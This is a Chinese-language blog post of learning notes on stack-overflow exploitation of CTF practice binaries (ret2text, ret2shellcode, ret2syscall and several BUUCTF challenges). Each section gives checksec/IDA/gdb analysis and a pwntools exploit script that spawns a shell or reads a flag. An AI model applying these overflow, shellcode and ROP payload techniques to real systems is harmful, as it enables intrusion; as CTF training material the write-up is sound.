Pwn学习

1.ret2text

首先拖入KaLi中,checksec

Pwn学习_第1张图片

 发现是一个32位elf文件,并且开启了 NX , 即为No execute(栈禁止执行)

使用IDA Pro打开

Pwn学习_第2张图片

发现vulnerable和get_shell函数,双击打开

 Pwn学习_第3张图片

存在栈溢出漏洞, 并且有直接的shell函数。

使用gdb调试,在main函数下断点Pwn学习_第4张图片

 使用cyclic生成字符串

 Pwn学习_第5张图片

 可得知需要输入的数量为16+4 (16+32位下的4位地址)

POC如下

from pwn import *
io = process ("./ret2text")

shell = 0x8048522
payload = (b'A'*20 + p32(shell))

io.sendline(payload)
io.interactive()

shell的地址为IDA下get_shell函数的地址 即

Pwn学习_第6张图片

成功获取shell 

2.ret2shellcode

checksec

 Pwn学习_第7张图片

 32位elf,使用IDA Pro打开

Pwn学习_第8张图片

发现只有main函数

Pwn学习_第9张图片

 栈溢出漏洞,buf2为全局变量,并且是bss段,具有可执行权限

 使用gdb获取需要填充的字符数量

下断点

 Pwn学习_第10张图片

 

需要填充的字符数量为 108 +  4 = 112

构造POC

from pwn import *
sh = process ("./ret2shellcode")

shellcode = asm(shellcraft.sh())
execute_addr = 0x0804A080
payload = (shellcode.ljust(112,b'A') + p32(execute_addr))

sh.sendline(payload)
sh.interactive()

使用shellcraft.sh构造shell

Pwn学习_第11张图片

成功获取shell 

3.ret2syscall

checksec

Pwn学习_第12张图片

 开启了 NX,是32位elf文件

Pwn学习_第13张图片

只看到了main函数,不过已经够了 

按下Shift + F12,看到了/bin/sh

使用gdb进行动态调试

Pwn学习_第14张图片

需要输入的字符数量为112,由于没有system,因此需要使用ROPgadget工具。

 Pwn学习_第15张图片

 

 

 

因为:execve("/bin/sh",0,0)

构造POC

from pwn import *
sh = process ("./ret2syscall")

binsh_addr = 0x080be408
pop_eax_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
int = 0x08049421
payload = (b'A' * 112 + p32(pop_eax_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(binsh_addr)  + p32(int))

sh.sendline(payload)
sh.interactive()

Pwn学习_第16张图片

成功获取shell。 

4.BUUCTF

4.1jarvisoj_level0

checksec

Pwn学习_第17张图片

64位elf文件,开启了NX

使用IDA Pro打开

关键字捕捉

callsystem是shell函数,vulnerable_fuction里存在栈溢出漏洞

gdb动态调试

 

因此是128+8(64位地址)= 136

构造POC

from pwn import *
sh = process ("/root/Desktop/Pwn Subject/level0")

binsh_addr = 0x400596
payload = (b'A'*136 + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

 成功获取shell

Pwn学习_第18张图片

 4.2. test your nc

这题没什么好说的,打开就是shell函数,使用nc直接连接就可以拿到shell

4.3 rip

checksec

Pwn学习_第19张图片

 使用IDA Pro打开进行静态分析

Pwn学习_第20张图片

发现main函数与fun函数

fun函数为shell函数,main函数中存在栈溢出漏洞

gdb动态调试 

Pwn学习_第21张图片

  

 即为15+8个字符

构造POC

from pwn import *
sh = process ("/root/Desktop/Pwn Subject/pwn1")

binsh_addr = 0x401186
payload = (b'A'*23 + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

成功获取shell

Pwn学习_第22张图片

 4.4 warmup_csaw_2016

checksec

Pwn学习_第23张图片

64位elf 

使用IDA Pro进行静态分析

一眼发现不了除了main函数以外的函数,实际上藏了一个叫

的shell函数 Pwn学习_第24张图片

并且这个地址能直接跳转到shell函数 

gdb动态调试

 

 因此为64+8 = 72位

构造POC

from pwn import *
sh = process ("./warmup_csaw_2016")

binsh_addr = 0x400611
payload = (b'A'*(64+0x8) + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

成功获取flag.txt

只不过我是本地文件,因此没有 。

4.5 ciscn_2019_n_1

checksec

Pwn学习_第25张图片

是64位elf 使用IDA Pro进行静态调试 

Pwn学习_第26张图片

发现2个函数,main与func

只要溢出到v2,使得v2等于这个值 便可以获取flag.txt

gdb动态调试 

Pwn学习_第27张图片

 

 为48+8

构造POC

from pwn import *
sh = process ("/root/Desktop/Pwn Subject/ciscn_2019_n_1")

binsh_addr = 0x4006BE
payload = (b'A'*(48+0x8) + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

成功cat flag.txt

Pwn学习_第28张图片

 4.6 pwn1_sctf_2016

checksec 

Pwn学习_第29张图片

32位elf

使用IDA Pro进行静态调试

发现4个函数 main,get_flag,replace,vuln

Pwn学习_第30张图片

其中vuln函数与replace函数配合使用,输入的I被replace函数替换为you

get_flag函数则为cat flag.txt

s变量的大小为Pwn学习_第31张图片

输入I又被替换为you,因此60/3 = 20,输入20个I即可溢出 

构造POC

from pwn import *
sh = process ("./pwn1_sctf_2016")

binsh_addr = 0x8048F0D
payload = b'I'*20 + b'A'*0x4 + p32(binsh_addr)

sh.sendline(payload)
sh.interactive()

成功cat flag.txt

Pwn学习_第32张图片

早上就做了这么点题目,整理整理发出来也就当备份了。

你可能感兴趣的:(Pwn,学习,python)